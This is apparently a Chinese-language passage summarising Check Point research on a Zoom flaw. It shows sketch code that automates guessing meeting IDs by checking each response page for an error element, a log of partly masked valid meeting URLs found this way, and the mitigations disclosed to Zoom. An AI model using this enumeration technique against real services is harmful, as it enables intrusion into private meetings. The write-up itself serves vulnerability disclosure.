Zoom安全漏洞分析

然后研究人员尝试将以上方法自动化：

for url in urls:

    yield MakeHTTPRequest(url=url, callback=parseResponse)

def MakeHTTPRequest(url, callback)

    …

def parseResponse(response):

    if response.css('div#join-errormsg').get() is None:

        print('Valid Meeting ID found: {}'.format(response.url))

    else:

        print('Invalid Meeting ID'

运行的结果如下所示： 

Invalid Meeting ID

Invalid Meeting ID

Valid Meeting ID found: https://zoom.us/j/22XXX41X8

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Valid Meeting ID found: https://zoom.us/j/8XXX34XXX9

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Valid Meeting ID found: https://zoom.us/j/93XXX9XXX5

Invalid Meeting ID

Invalid Meeting ID

Bingo!

研究人员在随机生成的Meeting ID中预测了大约4%的Meeting ID，与暴力破解相比，成功率还是非常高的。

研究人员在2019年7月22日联系了Zoom，并提出了以下缓解措施：

1. 重新实现Meeting ID生成算法

2. 用强加密的随机化函数替换现有随机函数

3. 增加Meeting ID的数字或符号的数量

4. 强制主机使用口令、PIN、SSO等进行认证。

本文参考自：https://research.checkpoint.com/2020/zoom-zoom-we-are-watching-you/